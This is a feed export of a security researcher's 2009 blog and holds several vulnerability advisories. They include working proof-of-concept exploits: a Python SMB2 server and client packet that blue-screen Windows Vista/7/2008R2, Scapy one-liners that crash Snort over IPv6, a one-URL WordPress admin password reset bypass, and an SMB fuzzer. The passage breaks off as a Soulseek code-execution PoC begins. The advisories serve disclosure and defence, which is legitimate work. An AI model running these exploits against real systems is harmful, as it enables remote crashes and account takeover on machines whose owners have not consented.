/&gt;#&lt;br /&gt;&lt;br /&gt;import SocketServer&lt;br /&gt;&lt;br /&gt;packet = ("\x00\x00\x00\x9a" # ---&amp;gt; length should be 9e not 9a.. &lt;br /&gt;"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"&lt;br /&gt;"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"&lt;br /&gt;"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"&lt;br /&gt;"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"&lt;br /&gt;"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"&lt;br /&gt;"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"&lt;br /&gt;"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"&lt;br /&gt;"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"&lt;br /&gt;"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"&lt;br /&gt;"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;class SMB2(SocketServer.BaseRequestHandler):&lt;br /&gt;&lt;br /&gt;def handle(self):&lt;br /&gt;&lt;br /&gt;print "Who:", self.client_address&lt;br /&gt;print "THANKS SDL"&lt;br /&gt;input = self.request.recv(1024)&lt;br /&gt;self.request.send(packet)&lt;br /&gt;self.request.close()&lt;br /&gt;&lt;br /&gt;launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445&lt;br /&gt;launch.serve_forever()&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;V. BUSINESS IMPACT&lt;br /&gt;-------------------------&lt;br /&gt;An attacker can remotely crash any Windows 7/Server 2008R2 &lt;br /&gt;on a LAN or via IE&lt;br /&gt;&lt;br /&gt;VI. SYSTEMS AFFECTED&lt;br /&gt;-------------------------&lt;br /&gt;Windows 7, Windowns Server 2008R2&lt;br /&gt;&lt;br /&gt;VII. SOLUTION&lt;br /&gt;-------------------------&lt;br /&gt;No patch available for the moment, your vendor do not care.&lt;br /&gt;Close SMB feature and ports, until a real audit is provided.&lt;br /&gt;&lt;br /&gt;VIII. REFERENCES&lt;br /&gt;-------------------------&lt;br /&gt;http://blogs.msdn.com/sdl/&lt;br /&gt;&lt;br /&gt;IX. CREDITS&lt;br /&gt;-------------------------&lt;br /&gt;This vulnerability has been discovered by Laurent Gaffié&lt;br /&gt;Laurent.gaffie{remove-this}(at)gmail.com&lt;br /&gt;&lt;br /&gt;X. REVISION HISTORY&lt;br /&gt;-------------------------&lt;br /&gt;November 8th, 2009: MSRC contacted&lt;br /&gt;November 8th, 2009: MSRC acknowledge the vuln&lt;br /&gt;November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug shouldn't appears on a security bulletin.&lt;br /&gt;November 11th, 2009: This bug released.&lt;br /&gt;&lt;br /&gt;XI. LEGAL NOTICES&lt;br /&gt;-------------------------&lt;br /&gt;The information contained within this advisory is supplied "as-is"&lt;br /&gt;with no warranties or guarantees of fitness of use or otherwise.&lt;br /&gt;I accept no responsibility for any damage caused by the use or&lt;br /&gt;misuse of this information.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-8220669087658882727?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/8220669087658882727/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html#comment-form' title='81 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/8220669087658882727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/8220669087658882727'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html' title='Windows 7 / Server 2008R2 Remote Kernel Crash'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>81</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-8787264494847836669</id><published>2009-10-22T14:47:00.000-07:00</published><updated>2009-10-22T22:47:19.509-07:00</updated><title type='text'>Snort 2.8.5 IPv6 Remote Denial of service</title><content type='html'>=============================================&lt;br /&gt;- Date: October 22th, 2009&lt;br /&gt;- Discovered by: Laurent Gaffié&lt;br /&gt;- Severity: Low&lt;br /&gt;=============================================&lt;br /&gt;&lt;br /&gt;I. VULNERABILITY&lt;br /&gt;-------------------------&lt;br /&gt;Snort &lt;= 2.8.5 IPV6 Remote DoS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;II. DESCRIPTION&lt;br /&gt;-------------------------&lt;br /&gt;A remote DoS was present in Snort 2.8.5 when parsing some specialy IPv6 crafted packet&lt;br /&gt;To trigger theses bug you need to have compiled snort with the --enable-ipv6 option, and run it in verbose mode (-v)&lt;br /&gt;&lt;br /&gt;III. PROOF OF CONCEPT&lt;br /&gt;-------------------------&lt;br /&gt;You can reproduce theses two different bug easily by using the python Low-level networking lib Scapy ( http://www.secdev.org/projects/scapy/files/scapy-latest.zip ):&lt;br /&gt;&lt;br /&gt;1) #only works on x86&lt;br /&gt;&lt;br /&gt;#/usr/bin/env python&lt;br /&gt;from scapy.all import *&lt;br /&gt;u = "\x92"+"\x02" * 6&lt;br /&gt;send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -&gt; TCP&lt;br /&gt;&lt;br /&gt;2) # works x86,x64&lt;br /&gt;&lt;br /&gt;#/usr/bin/env python&lt;br /&gt;from scapy.all import *&lt;br /&gt;&lt;br /&gt;z = "Q" * 30&lt;br /&gt;send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(&lt;br /&gt;type=4)/z) #nh1 -&gt; icmp (not v6)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IV. SYSTEMS AFFECTED&lt;br /&gt;-------------------------&lt;br /&gt;Theses proof of concept as been tested on snort:&lt;br /&gt;- 2.8.5&lt;br /&gt;&lt;br /&gt;V. NOT AFFECTED&lt;br /&gt;-------------------------&lt;br /&gt;Sourcefire 3D Sensor&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VI. SOLUTION&lt;br /&gt;-------------------------&lt;br /&gt;A new version correcting theses issues as been released (2.8.5.1) :&lt;br /&gt;http://www.snort.org/downloads&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VII. REFERENCES&lt;br /&gt;-------------------------&lt;br /&gt;http://www.snort.org&lt;br /&gt;http://vrt-sourcefire.blogspot.com/&lt;br /&gt;&lt;br /&gt;VIII. REVISION HISTORY&lt;br /&gt;-------------------------&lt;br /&gt;October 14th, 2009: First issue discovered, advisory send to snort team.&lt;br /&gt;October 14th, 2009: Snort security team confirm the bug.&lt;br /&gt;October 16th, 2009: Second issue discovered, advisory send to snort team.&lt;br /&gt;October 20th, 2009: Snort security team confirm the bug.&lt;br /&gt;October 22th, 2009: Snort team release a new version.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IX. CREDITS&lt;br /&gt;-------------------------&lt;br /&gt;This vulnerability has been discovered by Laurent Gaffié&lt;br /&gt;Laurent.gaffie{remove-this}(at)gmail.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-8787264494847836669?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/8787264494847836669/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2009/10/snort-285-ipv6-remote-denial-of-service.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/8787264494847836669'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/8787264494847836669'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2009/10/snort-285-ipv6-remote-denial-of-service.html' title='Snort 2.8.5 IPv6 Remote Denial of service'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-8886452637261667246</id><published>2009-10-04T21:03:00.000-07:00</published><updated>2009-10-06T07:25:12.926-07:00</updated><title type='text'>More explication on CVE-2009-3103</title><content type='html'>This short post is an answer to the many questions i received regarding how i found the smb2 bug.&lt;br /&gt;I said to securityfocus: "this bug was found in 3 seconds and 15 packet with my home made fuzzer"; it's true.&lt;br /&gt;I also pointed at MS lack of S.Q.A on SMB2; it's true.&lt;br /&gt;I was studying SMB and RPC since a while, and all my tests/fuzzing was failure, until i changed my fuzzing approach with SMB2;&lt;br /&gt;Single Network Byte Fuzzing.&lt;br /&gt;So i hardcoded a pretty simple fuzzer (python) for this approach:&lt;br /&gt;----------------------------------------------------------&lt;br /&gt;from socket import *&lt;br /&gt;from time import sleep&lt;br /&gt;from random import choice&lt;br /&gt;&lt;br /&gt;host = "IP_ADDR", 445&lt;br /&gt;&lt;br /&gt;#Negotiate Protocol Request&lt;br /&gt;packet = [chr(int(a, 16)) for a in """&lt;br /&gt;00 00 00 90&lt;br /&gt;ff 53 4d 42 72 00 00 00 00 18 53 c8 00 00 00 00&lt;br /&gt;00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00&lt;br /&gt;00 6d 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50&lt;br /&gt;52 4f 47 52 41 4d 20 31 2e 30 00 02 4c 41 4e 4d&lt;br /&gt;41 4e 31 2e 30 00 02 57 69 6e 64 6f 77 73 20 66&lt;br /&gt;6f 72 20 57 6f 72 6b 67 72 6f 75 70 73 20 33 2e&lt;br /&gt;31 61 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 4c&lt;br /&gt;41 4e 4d 41 4e 32 2e 31 00 02 4e 54 20 4c 4d 20&lt;br /&gt;30 2e 31 32 00 02 53 4d 42 20 32 2e 30 30 32 00&lt;br /&gt;""".split()]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;while True:&lt;br /&gt;  #/Core#&lt;br /&gt;  what  = packet[:]&lt;br /&gt;  where = choice(range(len(packet))) &lt;br /&gt;  which  = chr(choice(range(256)))&lt;br /&gt;  what[where] = which&lt;br /&gt;  #/Core#&lt;br /&gt;  #sending stuff @host&lt;br /&gt;  sock = socket()&lt;br /&gt;  sock.connect(host)&lt;br /&gt;  sock.send(' '.join(what))&lt;br /&gt;  sleep(0.1) # dont flood it&lt;br /&gt;  print 'fuzzing param %s' % (which.encode("hex"))&lt;br /&gt;  print 'complete packet %s' % (''.join(what).encode("hex"))&lt;br /&gt;  # When SMB Or RPC die (with TCP), sock get a timed out and die @the last packet, printing these things is more than usefull&lt;br /&gt;  sock.close()&lt;br /&gt;----------------------------------------------------------&lt;br /&gt;&lt;br /&gt;This simple fuzzer pwned smb2 in 3 seconds.&lt;br /&gt;Nothing special here, no wheel reinvented.&lt;br /&gt;Alot of security gurus were claming that auditing SMB/Netbios/TCP-IP on MS* was a waste of time.&lt;br /&gt;I dont believe in these assumptions, and I definatly prefer to "waste my time"...&lt;br /&gt;&lt;br /&gt;Also MSRC and I had a 40 emails discussion, regarding this disclosure and BLAH...&lt;br /&gt;As I said in those emails, if it would've been just a little harder to find, I would've done a coordinated disclosure.&lt;br /&gt;This stupid bug is a good example on how assumptions sucks, and also of how you can't rely on relational marketing. When bugs&lt;br /&gt;like this hits the fan everyone goes WTF, and it gets healthy in the end, for the lambda user. MS performed a code review on SMB2 &lt;br /&gt;after which they said :&lt;br /&gt;"For this update, the product team has so far already completed over 10,000 separate test cases in their regression testing. &lt;br /&gt;They are now in stress testing, 3rd-party application testing, and fuzzing. We'd sure like to complete all that testing &lt;br /&gt;before the update needs to be released"&lt;br /&gt;Yep it sounds nice, clean and transparent, but if they would have done this on the MS07-063 patch they would have found this &lt;br /&gt;bug in 3 seconds not in 4 weeks of hardcore fuzzing and this is a fact ;)&lt;br /&gt;&lt;br /&gt;Yes Full-Disclosure is usefull, and yes i believe in it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-8886452637261667246?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/8886452637261667246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2009/10/more-explication-on-cve-2009-3103.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/8886452637261667246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/8886452637261667246'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2009/10/more-explication-on-cve-2009-3103.html' title='More explication on CVE-2009-3103'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-7512213479941008851</id><published>2009-09-07T16:13:00.000-07:00</published><updated>2009-09-11T06:29:23.851-07:00</updated><title type='text'>[Updated]Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.</title><content type='html'>=============================================&lt;br /&gt;- Release date: September 7th, 2009&lt;br /&gt;- Discovered by: Laurent Gaffié&lt;br /&gt;- Severity: High&lt;br /&gt;=============================================&lt;br /&gt;&lt;br /&gt;I. VULNERABILITY&lt;br /&gt;-------------------------&lt;br /&gt;Windows Vista, Server 2008 &lt; R2, 7 RC : &lt;br /&gt;SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.&lt;br /&gt;&lt;br /&gt;II. BACKGROUND&lt;br /&gt;-------------------------&lt;br /&gt;Windows vista and newer Windows comes with a new SMB version named SMB2.&lt;br /&gt;See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0&lt;br /&gt;for more details.&lt;br /&gt;&lt;br /&gt;III. DESCRIPTION&lt;br /&gt;-------------------------&lt;br /&gt;[Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS patch, for another SMB2.0 security issue:&lt;br /&gt;KB942624 (MS07-063)&lt;br /&gt;Installing only this specific update on Vista SP0 create the following issue:&lt;br /&gt;&lt;br /&gt;SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality.&lt;br /&gt;The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication.&lt;br /&gt;&lt;br /&gt;IV. PROOF OF CONCEPT&lt;br /&gt;-------------------------&lt;br /&gt;&lt;br /&gt;Smb-Bsod.py:&lt;br /&gt;&lt;br /&gt;#!/usr/bin/python&lt;br /&gt;#When SMB2.0 recieve a "&amp;" char in the "Process Id High" SMB header field &lt;br /&gt;#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error&lt;br /&gt;&lt;br /&gt;from socket import socket&lt;br /&gt;from time import sleep&lt;br /&gt;&lt;br /&gt;host = "IP_ADDR", 445&lt;br /&gt;buff = (&lt;br /&gt;"\x00\x00\x00\x90" # Begin SMB header: Session message&lt;br /&gt;"\xff\x53\x4d\x42" # Server Component: SMB&lt;br /&gt;"\x72\x00\x00\x00" # Negociate Protocol&lt;br /&gt;"\x00\x18\x53\xc8" # Operation 0x18 &amp; sub 0xc853&lt;br /&gt;"\x00\x26"# Process ID High: --&gt; :) normal value should be "\x00\x00"&lt;br /&gt;"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"&lt;br /&gt;"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"&lt;br /&gt;"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"&lt;br /&gt;"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" &lt;br /&gt;"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" &lt;br /&gt;"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" &lt;br /&gt;"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" &lt;br /&gt;"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" &lt;br /&gt;"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" &lt;br /&gt;"\x30\x30\x32\x00"&lt;br /&gt;)&lt;br /&gt;s = socket()&lt;br /&gt;s.connect(host)&lt;br /&gt;s.send(buff)&lt;br /&gt;s.close() &lt;br /&gt;&lt;br /&gt;V. BUSINESS IMPACT&lt;br /&gt;-------------------------&lt;br /&gt;An attacker can remotly crash any Vista/Windows 7 machine with SMB enable.&lt;br /&gt;Windows Xp, 2k, are NOT affected as they dont have this driver.&lt;br /&gt;&lt;br /&gt;VI. SYSTEMS AFFECTED&lt;br /&gt;-------------------------&lt;br /&gt;[Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 &lt; R2, Windows 7 RC.&lt;br /&gt;&lt;br /&gt;VII. SOLUTION&lt;br /&gt;-------------------------&lt;br /&gt;No patch available for the moment.&lt;br /&gt;Close SMB feature and ports, until a patch is provided.&lt;br /&gt;Configure your firewall properly&lt;br /&gt;You can also follow the MS Workaround:&lt;br /&gt;http://www.microsoft.com/technet/security/advisory/975497.mspx&lt;br /&gt;&lt;br /&gt;VIII. REFERENCES&lt;br /&gt;-------------------------&lt;br /&gt;http://www.microsoft.com/technet/security/advisory/975497.mspx&lt;br /&gt;http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx&lt;br /&gt;&lt;br /&gt;IX. CREDITS&lt;br /&gt;-------------------------&lt;br /&gt;This vulnerability has been discovered by Laurent Gaffié &lt;br /&gt;Laurent.gaffie{remove-this}(at)gmail.com&lt;br /&gt;&lt;br /&gt;X. REVISION HISTORY&lt;br /&gt;-------------------------&lt;br /&gt;September 7th, 2009: Initial release&lt;br /&gt;September 11th, 2009: Revision 1.0 release&lt;br /&gt;&lt;br /&gt;XI. LEGAL NOTICES&lt;br /&gt;-------------------------&lt;br /&gt;The information contained within this advisory is supplied "as-is"&lt;br /&gt;with no warranties or guarantees of fitness of use or otherwise.&lt;br /&gt;I accept no responsibility for any damage caused by the use or&lt;br /&gt;misuse of this information.&lt;br /&gt;&lt;br /&gt;XII.Personal Notes&lt;br /&gt;-------------------------&lt;br /&gt;Many persons have suggested to update this advisory for RCE and not BSOD:&lt;br /&gt;It wont be done, if they find a way to execute code, they will publish them advisory.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-7512213479941008851?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/7512213479941008851/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html#comment-form' title='118 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/7512213479941008851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/7512213479941008851'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html' title='[Updated]Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>118</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-8007241090890026567</id><published>2009-08-10T18:19:00.000-07:00</published><updated>2009-08-10T19:44:07.100-07:00</updated><title type='text'>WordPress &lt;= 2.8.* Remote admin reset password</title><content type='html'>=============================================&lt;br /&gt;- Release date: August 10th, 2009&lt;br /&gt;- Discovered by: Laurent Gaffié&lt;br /&gt;- Severity: Medium&lt;br /&gt;=============================================&lt;br /&gt;&lt;br /&gt;I. VULNERABILITY&lt;br /&gt;-------------------------&lt;br /&gt;WordPress &lt;= 2.8.* Remote admin reset password&lt;br /&gt;&lt;br /&gt;II. BACKGROUND&lt;br /&gt;-------------------------&lt;br /&gt;WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. &lt;br /&gt;WordPress is both free and priceless at the same time.&lt;br /&gt;More simply, WordPress is what you use when you want to work with your blogging software, not fight it.&lt;br /&gt;&lt;br /&gt;III. DESCRIPTION&lt;br /&gt;-------------------------&lt;br /&gt;The way Wordpress handle a password reset looks like this:&lt;br /&gt;You submit your email adress or username via this form /wp-login.php?action=lostpassword ;&lt;br /&gt;Wordpress send you a reset confirmation like that via email:&lt;br /&gt;&lt;br /&gt;"&lt;br /&gt;Someone has asked to reset the password for the following site and username.&lt;br /&gt;http://DOMAIN_NAME.TLD/wordpress&lt;br /&gt;Username: admin&lt;br /&gt;To reset your password visit the following address, otherwise just ignore this email and nothing will happen&lt;br /&gt;&lt;br /&gt;http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&amp;key=o7naCKN3OoeU2KJMMsag&lt;br /&gt;"&lt;br /&gt;&lt;br /&gt;You click on the link, and then Wordpress reset your admin password, and sends you over another email with your new credentials.&lt;br /&gt;&lt;br /&gt;Let's see how it works:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;wp-login.php:&lt;br /&gt;...[snip]....&lt;br /&gt;line 186:&lt;br /&gt;function reset_password($key) {&lt;br /&gt; global $wpdb;&lt;br /&gt;&lt;br /&gt; $key = preg_replace('/[^a-z0-9]/i', '', $key);&lt;br /&gt;&lt;br /&gt; if ( empty( $key ) )&lt;br /&gt;  return new WP_Error('invalid_key', __('Invalid key'));&lt;br /&gt;&lt;br /&gt; $user = $wpdb-&gt;get_row($wpdb-&gt;prepare("SELECT * FROM $wpdb-&gt;users WHERE user_activation_key = %s", $key));&lt;br /&gt; if ( empty( $user ) )&lt;br /&gt;  return new WP_Error('invalid_key', __('Invalid key'));&lt;br /&gt;...[snip]....&lt;br /&gt;line 276:&lt;br /&gt;$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';&lt;br /&gt;$errors = new WP_Error();&lt;br /&gt;&lt;br /&gt;if ( isset($_GET['key']) )&lt;br /&gt; $action = 'resetpass';&lt;br /&gt;&lt;br /&gt;// validate action so as to default to the login screen&lt;br /&gt;if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) &amp;&amp; false === has_filter('login_form_' . $action) )&lt;br /&gt; $action = 'login';&lt;br /&gt;...[snip]....&lt;br /&gt;&lt;br /&gt;line 370:&lt;br /&gt;&lt;br /&gt;break;&lt;br /&gt;&lt;br /&gt;case 'resetpass' :&lt;br /&gt;case 'rp' :&lt;br /&gt; $errors = reset_password($_GET['key']);&lt;br /&gt;&lt;br /&gt; if ( ! is_wp_error($errors) ) {&lt;br /&gt;  wp_redirect('wp-login.php?checkemail=newpass');&lt;br /&gt;  exit();&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; wp_redirect('wp-login.php?action=lostpassword&amp;error=invalidkey');&lt;br /&gt; exit();&lt;br /&gt;&lt;br /&gt;break;&lt;br /&gt;...[snip ]...&lt;br /&gt;&lt;br /&gt;You can abuse the password reset function, and bypass the first step and then reset the admin password by submiting an array to the $key variable.&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;IV. PROOF OF CONCEPT&lt;br /&gt;-------------------------&lt;br /&gt;A web browser is sufficiant to reproduce this Proof of concept:&lt;br /&gt;http://DOMAIN_NAME.TLD/wp-login.php?action=rp&amp;key[]=&lt;br /&gt;The password will be reset without any confirmation.&lt;br /&gt; &lt;br /&gt;V. BUSINESS IMPACT&lt;br /&gt;-------------------------&lt;br /&gt;An attacker could exploit this vulnerability to reset the admin account of any wordpress/wordpress-mu &lt;= 2.8.3&lt;br /&gt;&lt;br /&gt;VI. SYSTEMS AFFECTED&lt;br /&gt;-------------------------&lt;br /&gt;All&lt;br /&gt;&lt;br /&gt;VII. SOLUTION&lt;br /&gt;-------------------------&lt;br /&gt;No patch aviable for the moment.&lt;br /&gt;Just make sure the admin e-mail adress exist, the attacker cant know what's the reseted password.&lt;br /&gt; &lt;br /&gt;VIII. REFERENCES&lt;br /&gt;-------------------------&lt;br /&gt;http://www.wordpress.org&lt;br /&gt;&lt;br /&gt;IX. CREDITS&lt;br /&gt;-------------------------&lt;br /&gt;This vulnerability has been discovered by Laurent Gaffié&lt;br /&gt;Laurent.gaffie{remove-this}(at)gmail.com&lt;br /&gt;I'd like to shoot some greetz to securityreason.com for them great research on PHP, as for this under-estimated vulnerability discovered by Maksymilian Arciemowicz :&lt;br /&gt;http://securityreason.com/achievement_securityalert/38&lt;br /&gt;&lt;br /&gt;X. REVISION HISTORY&lt;br /&gt;-------------------------&lt;br /&gt;August 10th, 2009: Initial release&lt;br /&gt;&lt;br /&gt;XI. LEGAL NOTICES&lt;br /&gt;-------------------------&lt;br /&gt;The information contained within this advisory is supplied "as-is"&lt;br /&gt;with no warranties or guarantees of fitness of use or otherwise.&lt;br /&gt;I accept no responsibility for any damage caused by the use or &lt;br /&gt;misuse of this information.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-8007241090890026567?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/8007241090890026567/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2009/08/wordpress-283-remote-admin-reset.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/8007241090890026567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/8007241090890026567'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2009/08/wordpress-283-remote-admin-reset.html' title='WordPress &lt;= 2.8.* Remote admin reset password'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-2339063674939973267</id><published>2009-07-02T17:20:00.001-07:00</published><updated>2010-01-05T23:06:19.280-08:00</updated><title type='text'>Soulseek 157 NS &lt; 13e &amp; 156.* Remote Peer Search Code Execution</title><content type='html'>Soulseek 157 NS &lt; 13e &amp; 156.* Remote Peer Search Code Execution&lt;br /&gt;============================================= &lt;br /&gt;- Release date: July 02, 2009 &lt;br /&gt;- Discovered by: Laurent Gaffié &lt;br /&gt;- Severity: critical &lt;br /&gt;============================================= &lt;br /&gt;&lt;br /&gt;I. VULNERABILITY &lt;br /&gt;------------------------- &lt;br /&gt;Soulseek 157 NS &lt; 13e &amp; 156.* Remote Peer Search Code Execution&lt;br /&gt;&lt;br /&gt;II. BACKGROUND &lt;br /&gt;------------------------- &lt;br /&gt;"Soulseek(tm) is a unique ad-free, spyware free, and just plain free file  &lt;br /&gt;sharing application. &lt;br /&gt;One of the things that makes Soulseek(tm) unique is our community and  &lt;br /&gt;community-related features. &lt;br /&gt;Based on peer-to-peer technology, virtual rooms allow you to meet people with &lt;br /&gt;the same interests, share information, and chat freely using real-time messages &lt;br /&gt;in public or private. &lt;br /&gt;Soulseek(tm), with its built-in people matching system, is a great way to make  &lt;br /&gt;new friends and expand your mind!" &lt;br /&gt;&lt;br /&gt;III. DESCRIPTION &lt;br /&gt;------------------------- &lt;br /&gt;Soulseek client allows direct peer file search, allowing a user to find the files he wants directly on the &lt;br /&gt;peer computer. &lt;br /&gt;Unfortunatly this feature is vulnerable to a remote SEH overwrite. &lt;br /&gt;&lt;br /&gt;IV. PROOF OF CONCEPT &lt;br /&gt;------------------------- &lt;br /&gt;This proof of concept will target a user called 123yow123. &lt;br 